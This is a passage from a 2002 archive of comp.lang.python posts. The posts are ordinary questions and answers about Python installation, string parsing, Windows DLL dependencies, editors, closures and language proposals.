done any sort of rigorous conformance testing but certainly modern compilers are able to do the standard things that I want to use... and that wasn't true one or two versions ago in most cases. Microsoft's compiler seems to be about as far behind as anybody... although I haven't tried their new .NET compiler very much yet. Peter From debl2nopeSpammywhammy at bellatlantic.net Thu May 30 00:59:43 2002 From: debl2nopeSpammywhammy at bellatlantic.net (David Lees) Date: Thu, 30 May 2002 04:59:43 GMT Subject: Making Programs Executable References: <63f2fcbe.0205292047.18fa7fcf@posting.google.com> Message-ID: <3CF5B1FF.4DE65506@bellatlantic.net> You might want to check path to your python interpreter. Try 'which python' . Perhaps you don't have the correct path. David Lees seraphim wrote: > > I am reading the Python tutorial, and they say to use '#! /usr/bin/env > python' as the first line to be able to execute the program withought > having to type 'python file'. I am getting a bad interpreter error. I > am running Slackware 8.0 and Red Hat 7.3 as well. Any help would be > nice. From shalehperry at attbi.com Thu May 16 12:05:06 2002 From: shalehperry at attbi.com (Sean 'Shaleh' Perry) Date: Thu, 16 May 2002 09:05:06 -0700 (PDT) Subject: how to determine an 'open' string? In-Reply-To: <20020516171637.C28033@prim.han.de> Message-ID: >> >> Seems a really simple solution is count the number of each type of quote in >> the >> string. But first you need to find all of the triple quotes. > > i thought along those lines, too, but couldn't get it correct easily. > >> for each quote type: >> count = find all triple quotes >> if count is even: closed > > for > """''' askldjl''' > > this returns 'closed': wrong! > right, you need to handle ", then '. import re test_string = '"""\'\'\' askldjl\'\'\'' STATE_OPEN = 0 STATE_CLOSED = 1 state = STATE_OPEN dblqt_triple = re.compile(r'(""")') snglqt_triple = re.compile(r"(''')") m = dblqt_triple.search(test_string) count = len(m.groups()) if count == 0 or (count % 2) == 0: state = STATE_CLOSED new_string = dblqt_triple.sub('', test_string) m = snglqt_triple.search(new_string) count = len(m.groups()) if count == 0 or (count % 2) == 0: state = STATE_CLOSED new_string = snglqt_triple.sub('', new_string) and a similar pattern for checking normal quotes. From achim.domma at syynx.de Wed May 22 01:54:01 2002 From: achim.domma at syynx.de (Achim Domma) Date: Wed, 22 May 2002 07:54:01 +0200 Subject: apphelp.dll dependency of python22.dll References: Message-ID: "Tim Peters" wrote in message news:mailman.1022023716.25545.python-list at python.org... > The PythonLabs python22.dll was built on a Win98SE box. This is no > apphelp.dll on the box, and Dependency Walker shows no such dependence. python22.dll depends on shlwapi.dll. The newest version of this dll introduces a dependency to apphelp.dll. So it seems to be a microsoft problem and I will try it in their newsgroups. thanks for your help Achim From rpinder at usc.edu Sun May 12 09:48:01 2002 From: rpinder at usc.edu (Rich Pinder) Date: Sun, 12 May 2002 09:48:01 -0400 Subject: Python 2.2.1 Windows / install variables ? Message-ID: <3CDE7290.3E28D9BD@usc.edu> I've loaded the windows installer (Python 2.2.1 (#34, Apr 9 2002, 19:34:33)), have the PYTHONPATH variable set correctly, and have the executable in the path. I'm trying to load three add on's (4Suite, PyXML, and Interbase database adapter). On the second install screen (on all three) it prompts you for 'which python installation to use' - and there are no entries to select. I'm assuming another environment variable is not correctly set - and I can't find it in the readmes or the FAQ's. Thanks in advance for any help you may have. Rich From starx at pacbell.net Fri May 17 07:15:58 2002 From: starx at pacbell.net (Philip Swartzleonard) Date: 17 May 2002 11:15:58 GMT Subject: How do you code in Python ??? References: <409a56e2.0205170047.429beb44@posting.google.com> Message-ID: Shagshag || Fri 17 May 2002 01:47:09a: > Hello, > > Newbie to python, i was wondering how *skilled* guys code with it : > > By now to write a function i write it in a text editor (with coloured > syntax), copy and paste it in idle try it, then go back to text > editor to debug it and so on until i've tuned it like i want, then > next function and so on until i complete module... And that's really > boring theses permanent back and forth... > > So how do you do it ? Which tools do you use ? I'm usually writing application-like (or at least self-executing as opposed to library) code, so I usually have the file on my desktop or in an open window and double-click it when I'm done with some changes. To make the changes, I use NT-Emacs, which is possilby the most powerful text editor on earth darkened only by the fact that it has a learning curve as steep as everest (well, if you want to customize it a lot at least, if you like everything as can be changed by the configuration program it's significantly easier, though still hard with the key- combinations if you don't have a good memory for that kind of thing.) If i forget how to use a certin language feature or want to test some mostly standalone function or class (like i'm coding 'inverse_slope' in a graphical LOS-test program and want to make sure it's right easily), or if i forget/don't know how to use some particular language feature, I fire up IDLE and poke it. (E.G. if i want to know exactly how to make the range [20,-1) properly). > (i'm on window, freeware if possible or not to expensive...) > > Another one is which are "standard" coding in Python ? > > (thing like initCap, postfix private atribute with "_" and so on) There's a pep on this, or Guido's Divine Code of Python Style. Personally, i name fuctions and methods like_this(), and classes Like_this, and try to use whitespace resonably with parentheseis (usually by seperating the outermost ones in a complex set from thier contents, like foo( (do(a)+some(b)) * (complicated(stuff(see))) ) -- this is a variation of a lisp habit where i seperate parens ending groups on line from those ending multi-line sets...). Other than that, i think i don't have any signficant diffrences with the recommended style =). (Oh yeah, and there's the 'make new code in a file/set follow the same convetions as are already there' rule, in general). ... bed =) -- Philip Sw "Starweaver" [rasx] :: www.rubydragon.com From logiplexsoftware at earthlink.net Wed May 15 12:56:19 2002 From: logiplexsoftware at earthlink.net (Cliff Wells) Date: Wed, 15 May 2002 09:56:19 -0700 Subject: OT: Crazy Programming In-Reply-To: <31575A892FF6D1118F5800600846864DCBD192@intrepid> References: <31575A892FF6D1118F5800600846864DCBD192@intrepid> Message-ID: <20020515095619.554dc9db.logiplexsoftware@earthlink.net> On Wed, 15 May 2002 16:27:50 +0100 Simon Brunning wrote: > I, for example, can't stand country and western music. Hate the stuff. But I > would not be so arrogant as to suggest that those who *do* like country and > western are wrong, and that it's a bad thing. It's just not my cup of tea. What about country music accompanied by interpretive dance? Could that be considered universally bad? -- Cliff Wells, Software Engineer Logiplex Corporation (www.logiplex.net) (503) 978-6726 x308 (800) 735-0555 x308 From peter at engcorp.com Thu May 30 22:04:18 2002 From: peter at engcorp.com (Peter Hansen) Date: Thu, 30 May 2002 22:04:18 -0400 Subject: semi-concatenated strings References: Message-ID: <3CF6DA22.D0E88E2E@engcorp.com> "Delaney, Timothy" wrote: > > > From: Skip Montanaro [mailto:skip at pobox.com] > > rows = self.executesql("select cities.city, state, country" > > " from cities, venues, events, addresses" > > " where cities.city like %s" > > " and events.active = 1" [snip] > > Just wondering Skip ... why would you write this rather than a triple-quoted > string? > > rows = self.executesql(""" > select cities.city, state, country > from cities, venues, events, addresses > where cities.city like %s > and events.active = 1 > and venues.address = addresses.id > and addresses.city = cities.id > and events.venue = venues.id > """, (city,)) > > which to me looks much cleaner and is much easier to modify. And which has both embedded "\n" newlines and many more leading spaces before each line... -Peter From spam at yourself.com Wed May 15 14:55:07 2002 From: spam at yourself.com (Ingo Blank) Date: Wed, 15 May 2002 20:55:07 +0200 Subject: Merging contents of two files References: <3CE26265.54F83CAB@dlr.de> Message-ID: schrieb im Newsbeitrag news:3CE26265.54F83CAB at dlr.de... I'm a beginner. What to do writing a Python script for searching the name of the author of source files and generating an outputfile containing the author name (containing in java source file), Explanation, File and Line (containing in txt File; see below) So, what I have is a text file (.txt) like the following: Abbreviation Explanation. File Line xyz comment for class /home/de/abc.java 45 ... ... .. This txt file contains of several lines and rows. The rows are sepearated by tabs. The source files (mentioned as File in txt file) are java files. I search in the header for "* Created: dd/mm/yyy firstname.secondname" How to write the script? Thanks for your help! Katharina, look in the module for functions "split","find" etc. Files are read in with: file = open("myFile.txt","r") txt = file.read() lines = string.split(txt,"\n"), or line by line with fileinput.input() [See standard module]. It might also be worth looking into the module , for splitting strings via regular expressions. Shouldn't you be familiar with regular expressions, consult some literature because an explanation would go beyond the scope of this forum :-) HTH --ingo voy NG arktb QBG qr [ rot13 ] From ianb at colorstudy.com Fri May 17 05:12:20 2002 From: ianb at colorstudy.com (Ian Bicking) Date: 17 May 2002 04:12:20 -0500 Subject: Beginner: HTML Parsing In-Reply-To: <83d6vvxn35.fsf@panacea.canonical.org> References: <83d6vvxn35.fsf@panacea.canonical.org> Message-ID: <1021626741.14405.72.camel@localhost> On Fri, 2002-05-17 at 02:14, Kragen Sitaker wrote: > "J. David Lashar" writes: > > As a beginner, I'm working through the O'Reilly books mentioned in an > > earlier posting, but I haven't found much guidance on parsing an HTML file > > once I've pulled it down with httplib. And I'm finding the Python Library > > Reference to be a bit cryptic. Could someone point to resources or provide > > examples? > > If possible, use Perl and HTML::Parser (or HTML::LinkExtor if that's > what you want) instead. Python doesn't yet have anything nearly as > good. Well, if you're going to talk like that, you can't just stop there. How is HTML::Parser better than, say, htmllib? Or mxTidy (to translate to XHTML) with an XML parser? I notice some extra features in the way the argspec is defined, which seems convenient, but not huge. Is there something else I'm missing? Ian From jepler at unpythonic.net Fri May 24 08:33:12 2002 From: jepler at unpythonic.net (jepler at unpythonic.net) Date: Fri, 24 May 2002 07:33:12 -0500 Subject: 2**HUGENUMBER Why not optimise it? In-Reply-To: References: Message-ID: <20020524073307.A11290@unpythonic.net> On Fri, May 24, 2002 at 10:06:12AM +0000, Michael Hudson wrote: > Christian Tismer writes: > > > Michael Hudson wrote: > > > Do you feel like implementing Karatsuba multiplication in > > > longobject.c? That might actually be some use... > > > > Although this was on the table two or three years ago, > > I know. I remember. That thread was probably the first place I heard > of Karatsuba multiplication... The message you're looking for may be in a thread from July 1999: http://groups.google.com/groups?hl=en&lr=&threadm=37922175.FEEBE203%40appliedbiometrics.com&rnum=4&prev=/groups%3Fq%3Dgroup:comp.lang.python%2Bkaratsuba%26hl%3Den%26lr%3D%26selm%3D37922175.FEEBE203%2540appliedbiometrics.com%26rnum%3D4 It'd be a bit nicer now that the builtin "long" class can be subclassed. Too bad you can't write long.__mul__ = karatsuba_mul or long = karatsuba_long and have it "work" (longs constructed in the easy way, 'x=1L', would have karatsuba multiplication behavior by default) Jeff From fredrik at pythonware.com Mon May 20 16:09:10 2002 From: fredrik at pythonware.com (Fredrik Lundh) Date: Mon, 20 May 2002 20:09:10 GMT Subject: Problems importing _sre w/VC7-compiled Python 2.1 References: Message-ID: Andrew MacIntyre wrote: > On 19 May 2002, David Aldridge wrote: > > > After more investigation, turns out init_sre() was NOT > > __declspec(dllexport)! > > I had been under the impression that sre was intended to always be built > into the Python core (ie not as a loadable extension module), which might > explain some of what you found. SRE builds just fine as a DLL, and uses a DL_EXPORT statement to make sure it exports the right stuff. this works perfectly fine under VC5 and VC6. looks like the DL_EXPORT stuff simply doesn't work under VC7. someone should file a bug report (http://www.python.org/dev/). From whisper at oz.net Wed May 22 20:05:20 2002 From: whisper at oz.net (David LeBlanc) Date: Wed, 22 May 2002 17:05:20 -0700 Subject: Where does IDLE expect to find imported files? In-Reply-To: Message-ID: Try this: K:\python Python 2.2.1 (#34, Apr 9 2002, 19:34:33) [MSC 32 bit (Intel)] on win32 Type "help", "copyright", "credits" or "license" for more information. >>> import sys >>> sys.path ['', 'J:\\Python22\\lib\\site-packages\\Pythonwin', 'J:\\Python22\\lib\\site-packages\\win32', ' J:\\Python22\\lib\\site-packages\\win32\\lib', 'J:\\Python22\\lib\\site-packages', 'J:\\Python22 \\DLLs', 'J:\\Python22\\lib', 'J:\\Python22\\lib\\lib-tk', 'J:\\Python22'] >>> (this list will obviously look a bit different on a Linux/Unix box) Python will look for files in any of the listed directories. I'm surprised that putting "prog.py" in /usr/local/bin/python didn't make it accessable to Idle. David LeBlanc Seattle, WA USA > -----Original Message----- > From: python-list-admin at python.org > [mailto:python-list-admin at python.org]On Behalf Of CarolineBlue > Sent: Wednesday, May 22, 2002 16:19 > To: python-list at python.org > Subject: Where does IDLE expect to find imported files? > > > BlankCan't get import to work - need to know correct directory to put > .py files in for processing > > I have just installed Python 2.2.1 under Windows 98SE (from a Computer > Shopper CD). I am working my way through the Tutorial, but cannot > import files for processing by IDLE. Where does IDLE expect to find > the named file (eg. prog.py), so that "import prog.py" will work? > > I tried putting it various directories, such as /usr/local/bin > /usr/local/lib /usr/local/bin/python but none have worked. SO where > is the magic directory? > > Caroline. > > > > -- > http://mail.python.org/mailman/listinfo/python-list From achim.domma at syynx.de Thu May 23 12:41:32 2002 From: achim.domma at syynx.de (Achim Domma) Date: Thu, 23 May 2002 18:41:32 +0200 Subject: apphelp.dll dependency of python22.dll References: Message-ID: Hi, thanks for all the response. It seems that my system was completly wrong configurated. After installing SP2 and recompiling everything it looks much better. Achim "John Machin" wrote in message news:c76ff6fc.0205220440.74fa6a44 at posting.google.com... > "Achim Domma" wrote in message news:... > > "Tim Peters" wrote in message > > news:mailman.1022023716.25545.python-list at python.org... > > > The PythonLabs python22.dll was built on a Win98SE box. This is no > > > apphelp.dll on the box, and Dependency Walker shows no such dependence. > > > > python22.dll depends on shlwapi.dll. The newest version of this dll > > introduces a dependency to apphelp.dll. So it seems to be a microsoft > > problem and I will try it in their newsgroups. > > > > I have Windows 2000. Dependency Walker shows (like Achim's case under > Windows XP) that the Pythonlabs python22.dll depends on shell32.dll, > which depends on shlwapi.dll, which depends on apphelp.dll, which is > missing [* OT footnote]. However I have had no problems with importing > my own extensions -- which are compiled with mingw gcc and with > Borland C/C++ 5.5, not with MS VC (which shouldn't make a difference). > > Achim, What is the error message you get when you try to import your > own extension? Have you tried copying your pyd to a box running an > earlier version of Windows and importing it there? What makes you > think it is the fault of the missing apphelp.dll? > > HTH, > John > > [*] ... which reminded me of the novel "Ivanhoe", in which IIRC the > jester introduces himself as "Wamba, the son of Witless, the son of > Weatherbrain, the son of an alderman." From peter at engcorp.com Mon May 20 14:07:29 2002 From: peter at engcorp.com (Peter Hansen) Date: Mon, 20 May 2002 14:07:29 -0400 Subject: popenX() misunderstanding on win32 References: <8351bb33.0205200920.67743afb@posting.google.com> Message-ID: <3CE93B61.D428FDE6@engcorp.com> Jon Nicoll wrote: > > I'm trying to get a small python script running under WinNT and am > having trouble due to my lack of understanding of the mechanism of > popen2() etc. I know that previous versions of popenX() have been > broken but I don't think that's the problem. [...] > Then, how can I use popenX() to invoke the program, and write and read > to 'stdin' and 'stdout', to duplicate the above? my experiments so > far, involving os.popenX() and win32pipe.popenX(), haven't got me > anywhere - I either get nothing when I do a read, or the process hangs > waiting for input that I think should alread be there. Maybe you could post a very small program representing the steps you are taking and we could see if there's an obvious cause of the problem... ? -Peter From cliechti at gmx.net Wed May 8 19:53:17 2002 From: cliechti at gmx.net (Chris Liechti) Date: 9 May 2002 01:53:17 +0200 Subject: TIF join utility References: <91o5ih$2kv$1@news.wrc.xerox.com> <20001219172933.B29727@ActiveState.com> Message-ID: "Jose Isaias Cabrera" wrote in news:mailman.1020894194.16421.python-list at python.org: > Anyone has played joining two TIFs? Any code available? i case you're speacking of TIFF, the tagged image file format, you could try out PIL which has a rich set of image manipulation and import/export functions. http://www.pythonware.com/products/pil/ chris -- Chris From jlj at cfdrc.com Tue May 28 11:27:02 2002 From: jlj at cfdrc.com (Lyle Johnson) Date: Tue, 28 May 2002 10:27:02 -0500 Subject: Begginer: problems with IF and ELIF References: <7UMI8.8$rX.5346@e420r-atl1.usenetserver.com> Message-ID: > When I input an altitude of 1 and a distance of 20, which is obviously > outside of my area the program reacts correctly. However if i enter an > altitude of 600 and a distance of six, which should also be outside my area > it doesn't respond. Can anyone go over my code to see what i have done > wrong? You're using the binary bit-wise logical operators "&" and "|" instead of the regular logical operators "and" and "or". So that first block of code (labelled Case 1) should instead look like this: if altitude <= 1199 and altitude >= 0: if distance >= 6: print ("Traffic outside of class C airspace") elif distance <= 5 or distance >= 0: print ("You are inside class C airspace") else: print ("ERROR!! distance negative") You'll want to make a similar change for the other blocks in the program. Hope this helps, Lyle From bugzilla at bugs.activestate.com Wed May 8 07:31:05 2002 From: bugzilla at bugs.activestate.com (Bugzilla Mailinterface) Date: 8 May 2002 11:31:05 -0000 Subject: Bugzilla Error In-Reply-To: <200205081130.g48BUgb30598@smtp1.ActiveState.com> Message-ID: <20020508113105.26377.qmail@listserv.ActiveState.com> ActiveState Bugzilla Bugzilla found the following warnings (not critical): Priority has been set to the default (3-Medium). Bug severity has been set to the default value (4-normal). Hardware has been set to the default value (Unknown). Operating System has been set to the default value (Unknown). Bugzilla did not process this email because there were some errors with this submission. Please correct the following errors, or use our online interface at http://bugs.activestate.com/bugzilla. For more information on submitting bugs by email please see http://bugs.activestate.com/bugzilla/help.cgi. Bugzilla found the following errors (critical): Your email did not contain a required key: @product. Your email did not contain a required key: @version. Your email did not contain a required key: @component. From wesc at deirdre.org Fri May 31 02:59:21 2002 From: wesc at deirdre.org (wesc at deirdre.org) Date: Thu, 30 May 2002 23:59:21 -0700 (PDT) Subject: LJ Guido interview and Work in CA Message-ID: <200205310659.XAA10269@alpha.ece.ucsb.edu> hi all, a couple of things... 1. i interviewed Guido several months ago regarding Python 2.2, and Linux Journal has been kind enough to publish it this month in the June 2002 issue. http://linuxjournal.com/modules.php?op=modload&name=NS-lj-issues/issue98 2. if you live in the san francisco area and are looking for Python work related to imaging/graphics, GUIs, and databases, my company has just approved a software development position. check out our listing on the main Python job board: http://www.python.org/Jobs.html cheers! -wesley - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - "Core Python Programming", Prentice Hall PTR, ? 2001 http://starship.python.net/crew/wesc/cpp/ Silicon Valley-San Francisco Bay Area Python Users Group (BayPIGgies) http://deirdre.org/baypiggies wesley.j.chun :: wesc at deirdre.org cyberweb.consulting : henderson, nv : cyberweb at rocketmail.com http://roadkill.com/~wesc/cyberweb/ From mwh at python.net Wed May 15 12:34:08 2002 From: mwh at python.net (Michael Hudson) Date: Wed, 15 May 2002 16:34:08 GMT Subject: how to write function that returns function References: <4f52f844.0205141503.40000c50@posting.google.com> <4f52f844.0205150815.631b3415@posting.google.com> Message-ID: spam at bugbear.com (Paul Graham) writes: > Thanks to everyone who replied to my earlier question. It seems > Python scope rules have changed recently, and my info was out of > date. I am still uncertain about a couple things though: there > seem to be some restrictions on what you can do with lexical > variables and also what you can put in a lambda. Can some Python > expert tell me how you would express the Common Lisp > > (defun foo (n) #'(lambda () (incf n))) > > in Python? You can't directly translate that. Access to variable of enclosing scopes is read only (except in the case of global statements, but that doesn't help here). The usual response to questions like this is "what is it you're actually trying to *do*?"; there may well be a natural way of acheiving *that* despite the fact that there are no non-horrible direct translations of the above code (usually involving defining a class or two...). Cheers, M. -- It's a measure of how much I love Python that I moved to VA, where if things don't work out Guido will buy a plantation and put us to work harvesting peanuts instead. -- Tim Peters, comp.lang.python From jason at tishler.net Wed May 8 09:43:24 2002 From: jason at tishler.net (Jason Tishler) Date: Wed, 08 May 2002 09:43:24 -0400 Subject: Creating C modules for Python under Cygwin In-Reply-To: References: <20020506165922.GN1668@tishler.net> Message-ID: <20020508134324.GG1700@tishler.net> Tim, On Wed, May 08, 2002 at 01:02:32AM -0400, Tim Peters wrote: > [Jason Tishler] > > ... > > I intend to submit a patch to Python CVS with a clean version of the > > above. However my motivation would be greater, if I actually knew of > > someone who is really interested in this functionality. > > So would our motivation not to reject the patch instantly with a snotty "who > cares?" . Ouch! Jason From wilk at flibuste.net Thu May 9 17:36:44 2002 From: wilk at flibuste.net (William Dode) Date: Thu, 9 May 2002 23:36:44 +0200 Subject: ODBC v. mxODBC References: Message-ID: <20020509233644.5151225b.wilk@flibuste.net> Le Thu, 9 May 2002 14:32:21 -0700 "don" ?crivait: > Anyone prefer one module to the other? Why? -Don odbc is free and can be used in a gpl software... > > -- William Dod? - Informaticien Ind?pendant http://www.flibuste.net From theller at python.net Fri May 3 02:40:00 2002 From: theller at python.net (Thomas Heller) Date: Fri, 3 May 2002 08:40:00 +0200 Subject: New user question: py2exe with Pmw References: Message-ID: "Armstrong" wrote in message news:y7iA8.9467$GG6.663789 at news3.calgary.shaw.ca... > Hi, > > I have a pretty basic piece of Python code that uses the Pmw and Tcl/Tk > modules that I'm trying to run through py2exe. The Tcl/Tk portion works > just fine, but when I enable the Pmw portion the executable won't run > anymore, failing with the message: > > Traceback (most recent call last): > File "imputil.pyc", line 103, in _import_hook > File "", line 52, in _import_top_module > File "imputil.pyc", line 216, in import_top > File "imputil.pyc", line 271, in _import_one > File "", line 128, in _process_result > File "Pmw\__init__.pyc", line 37, in ? > IndexError: list index out of range > > It looks to me like Pmw was not included, but I'm not sure. You have to prepare Pmw for this before it will work. There's a script named 'bundlepmw' in Pmw's distribution, also a readme file explaining how to use it. HTH, Thomas From ianb at colorstudy.com Thu May 9 18:33:41 2002 From: ianb at colorstudy.com (Ian Bicking) Date: 09 May 2002 17:33:41 -0500 Subject: "a better input" In-Reply-To: References: <%2BC8.45501$m26.36772@atlpnn01.usenetserver.com> Message-ID: <1020983622.651.107.camel@localhost> On Thu, 2002-05-09 at 16:07, Gareth McCaughan wrote: > Steve Holden wrote: > > [I said:] > > > I don't actually mind if an input() replacement evaluates 2+3. > > > I do mind if it is able to do arbitrary computation, where > > > "arbitrary" is fuzzily defined to cover things like > > > > > > 1 anything that could take a large amount of time or > > > memory to compute; > > > > > > (rationale: we don't want to facilitate DoS attacks; > > > users will find it counterintuitive if what they think > > > of as reading a value can consume unbounded resources.) > > > > So, for example, 2**100 is OK, but 2**10000000 is right out? > > Er, no. ** should be right out because 2**10000000 should be. > I'm not proposing that input() should have the semantics > "any expression that can be evaluated safely is OK", but > that there should be some simpler set of rules that has that > as a consequence. If there is no reasonably simple such set > of rules, then the idea is unworkable. I think maybe you mean to allowing input to accept any of the types in Python that are represented directly in the syntax. The language reference can make this completely unambiguous. You might add the important singletons None, True, and False, which are often useful. While the complex number 1+1j doesn't seem primitive, the existence and behavior of complex() seems to make it easy enough to include. All other conveniences aren't really necessary (e.g., 2**100), and are always possible using rexec if that end-user experience is desired. This *would* imply that lists, tuples, and dictionaries should be included, as well I think they should -- they are very useful, and while they complicate the implementation of a new input, they do not complicate the description of this new input in any way (which is more important). However, this doesn't imply that list comprehension should be included. Ideally, triple-quoted, multi-lined strings should be included, but are not necessary and not currently supported in input. Ian From dradul at yahoo.com Thu May 23 10:52:59 2002 From: dradul at yahoo.com (P. Alejandro Lopez-Valencia) Date: Thu, 23 May 2002 09:52:59 -0500 Subject: encoding problem CP850 to ISO_8859_9 References: <625H8.29184$48.2236753@zwoll1.home.nl> Message-ID: "v.wehren" escribi? en el mensaje news:625H8.29184$48.2236753 at zwoll1.home.nl... > When trying to convert the encoding of a file originally in CP850 to > ISO_8859_2 (Latin9), there are some mappings causing a UnicodeError which is > rather unexpected, especially since the characters are available in both > encodings (unlike most of the "box drawing" stuff, and so on, where a "maps > to " is logical. The offensive characters (plus the values they > eventually should be mapped to) are: I suggest you check your target encodings first and ask again. Your suppositions are incorrect. ISO-8859-9 is Latin 5 (Western Europe plus Turkish) and ISO-8859-15 *is* Latin 9 (Western Europe plus Euro Currency Sign) --- that is, the nineth Latin encoding (== using the Roman alphabet) among all the character encodings defined under the ISO-8859 standard. Furthermore, the characters you report as missing, Eth, Thorn, *do not* exist in ISO-8859-2 (Latin 2 Central Europe). They exist only in the ISO-8859-1 (Latin 1 Western Europe) encoding. From steve at lurking.demon.co.uk Fri May 10 13:17:36 2002 From: steve at lurking.demon.co.uk (Steve Horne) Date: Fri, 10 May 2002 18:17:36 +0100 Subject: Thoughts on new grammar rules (PEP 284 in particular) Message-ID: <82undu4anb47usgck50ebil2ku1f36173q@4ax.com> I was just reading PEP284 and, in general, I like it. The trouble is, I'd quite like these limit-specifications to be more general. For example, I'd quite like to write... if 0 <= x < 10 : print "x is in range" There is a big problem with this, of course - this is already legal Python, but the semantics aren't what I intend. Looking generally through other PEPs, there seems to be a general problem with adding new grammar to the Python language. Some contortions are needed to avoid breaking old code. I was wondering if maybe it is time that the Python 'core' grammar was considered broadly complete, with the exception of a special notation specifically designed for the purpose of wrapping new grammar rules. I haven't thought through my choice of symbols, but imagine a notation such as the following was created... [* indentifier RULE *] That is, use delimiters with and enclosed identifier and rule where the identifier explicitly identifies the grammar rule being used. We could then have... range checking... if [* check 0 <= x < 10 *] : print "OK" for loop... for [* range 0 <= x < 10 *] : pass Obvious Advantages... - If the new syntax turns out to be obscure and rarely used, people reading the code that does use it at least have a clear identifier name to look up in the manuals to find an explanation of what it does. - With careful choice of delimiters (ie the [* and *] above) this should never cause a code break, and should save a lot of hassle in this respect in the future. - Python should be able to give a clear error message if source code intended for a newer version is used (e.g. 'range support not provided in this Python version) by simply picking up the identifier. Obvious disadvantages... - Noticably wordier than necessary, as each new grammar rule has three 'redundant' tokens. - Could make it too convenient to add obscure special-purpose features, leading to unnecessary bloat. Any comments? -- Steve Horne steve at lurking.demon.co.uk From wurmy at earthlink.net Wed May 22 18:15:12 2002 From: wurmy at earthlink.net (Hans Nowak) Date: Wed, 22 May 2002 22:15:12 GMT Subject: slice objects vs. [] References: Message-ID: <3CEC1983.73E3A453@earthlink.net> Fernando P?rez wrote: > > Quinn Dunkan wrote: > > > This seems to imply that [].__getitem__ should accept a slice object. > > Currently I am writing > > > > def __getitem__(self, k): > > if type(k) is type(slice(0)): > > return self.data[k.start:k.end] > > else: > > return self.data[k] > > > > ... which is awkward, in addition to losing k.step. > > > > BTW, is there any particular reason slice() is not a type? I expected to be > > able to write 'isinstance(k, slice)'. > > > > The docs are a bit outdated, I think. They don't describe __getslice__, which > is what you want. Her's an example from my code: [snip] No, __getslice__ and friends are deprecated: http://www.python.org/doc/current/ref/sequence-methods.html#l2h-135 -- Hans (base64.decodestring('d3VybXlAZWFydGhsaW5rLm5ldA==')) # decode for email address ;-) The Pythonic Quarter:: http://www.awaretek.com/nowak/ From nika at kassube.de Sat May 25 07:03:25 2002 From: nika at kassube.de (Nils Kassube) Date: Sat, 25 May 2002 13:03:25 +0200 Subject: DTML and Python Editor? References: Message-ID: <87k7ps4hhe.fsf@kursk.kassube.de> Bo writes: > Xemacs has dtml support from the python.org site. Although this has a > learning curve is it worth the effort??? I like the multi platform feature > but I chiefly use windows right now. Yes. If you are like me, you spend most of time on your computer editing text files (reading and writing). With Emacs you've got an environment powerful enough to be sufficient for your editing tasks for the next decade (be it DTML, Python, XML, LaTeX, Common Lisp, C, Java, Scheme or one of the other zillion languages supported by Emacs). If you want to customize your work environment, you can use an easy-to-learn, though old Lisp dialect, elisp, to change the behaviour of just about everything. Plus you've got access to many excellent elisp applications fully integrated in your editing environment. A very nice example of this is Gnus, the most powerful news and mail client: http://www.gnus.org Cheers, Nils From emile at fenx.com Thu May 30 10:26:42 2002 From: emile at fenx.com (Emile van Sebille) Date: Thu, 30 May 2002 14:26:42 GMT Subject: !!! 2.1, 2.2, 2.2.1, PYTHON BUGS ???? References: Message-ID: Franck Abella [snip] > try this >>>> j = 6.2 > >>>> j > result >>>> 6.2000000000000002 > FAQ 4.98 http://www.python.org/cgi-bin/faqw.py?query=floating+point&querytype=sim ple&casefold=yes&req=search -- Emile van Sebille emile at fenx.com --------- From ponderor at lycos.com Sun May 19 22:33:58 2002 From: ponderor at lycos.com (Dean Goodmanson) Date: 19 May 2002 19:33:58 -0700 Subject: "One Bullet is never enough" Paper References: <3CE5AFD3.32D59F@tundraware.com> <3CE68BAA.726DA1A6@engcorp.com> Message-ID: > > Nevertheless, > > your paper is quite interesting in its own right, it's just in the > > wrong newsgroup. > > I had to resort to Ctrl-F in Netscape to find the connection. The > paper *does* mention Python, almost in passing, and Forth... > > -Peter After skimming the paper (and Ctrl-F,etc.), I was interested to see what the original discussion on this paper was. I didn't find an exact hit in comp.lang.forth, but did find this: http://groups.google.com/groups?hl=en&lr=&selm=3CE57855.AE29FA7E%40tundraware.com I found the python portion especially interesting in light of Jython & .Net: "I reserve the right to be wrong, but it seems to me that we ought to be evolving to a world in which programmers of complex systems write in meta-languages like Python - which embrace OO, procedural, DBMS and Functional Programming notions - but whose runtimes would be best delivered in something like Forth (or Erlang). ... This is is probably a pipe-dream because trying to efficiently map the semantics of a late-bound dynamic language like Python onto a sleek Forth runtime is likely too costly in terms of runtime size and speed. " - (Turning Faith Into Practice section, just before Heaven Or Hell? , http://www.tundraware.com/Technology/Bullet/ , Time Daneliuk ) From tismer at tismer.com Thu May 23 04:41:23 2002 From: tismer at tismer.com (Christian Tismer) Date: Thu, 23 May 2002 01:41:23 -0700 Subject: 2**HUGENUMBER Why not optimise it? References: <3CEC8141.40304@rogers.com> Message-ID: <3CECAB33.7010104@tismer.com> Mike C. Fletcher wrote: > Oh. Sigh. Cheer up! > Maybe I'll just give up on trying to interest people in Python > optimisation challenges. The good-old days of idle speculation and > optimisation are dead. Time to stop living in the past. Idea dropped, > back to boring GUI work. Don't say such sad words. Nothing is dead but maybe some of our expectations. Python was never eager to adopt new features (which is good), but putting ideas down this short wasn't usual, too. I hereby encourage you to write that in the best way you can, since I know of a Python branch that will happily adopt any short and sensible optimization. I can contribute a bunch to this, too. > Tim Peters wrote: > >> [Mike C. Fletcher] > > ... > >> Why bother? i**j is performed by a general algorithm that does a >> number of >> long-int multiplications, but no more than 2*ceiling(log_base_2(j)) of >> them. >> i==1 is not a special case; it zooms simply because all of the O(log(j)) >> intermediate products are exactly 1, so go very quickly. > > ... > >> No, there's simply no point to burning code space to special-case >> power-of-2 >> bases; if you know your base is a power of 2, feel free to shift >> yourself -- >> I do . Viruses pretending to be real emails are becoming a problem. This one was just simple to detect: The real Timbot would either implement it in less bytes than the text of this response, or propose to provide an appropriate optional extension mechanism for special optimization modules. dissing-neat-stuff-is-another-wise-mans-job-ly y'rs - chris -- Christian Tismer :^) Mission Impossible 5oftware : Have a break! Take a ride on Python's Johannes-Niemeyer-Weg 9a : *Starship* http://starship.python.net/ 14109 Berlin : PGP key -> http://wwwkeys.pgp.net/ work +49 30 89 09 53 34 home +49 30 802 86 56 pager +49 173 24 18 776 PGP 0x57F3BF04 9064 F4E1 D754 C2FF 1619 305B C09C 5A3B 57F3 BF04 whom do you want to sponsor today? http://www.stackless.com/ From dalke at dalkescientific.com Sat May 11 02:27:30 2002 From: dalke at dalkescientific.com (Andrew Dalke) Date: Sat, 11 May 2002 00:27:30 -0600 Subject: grokking generators and iterators References: 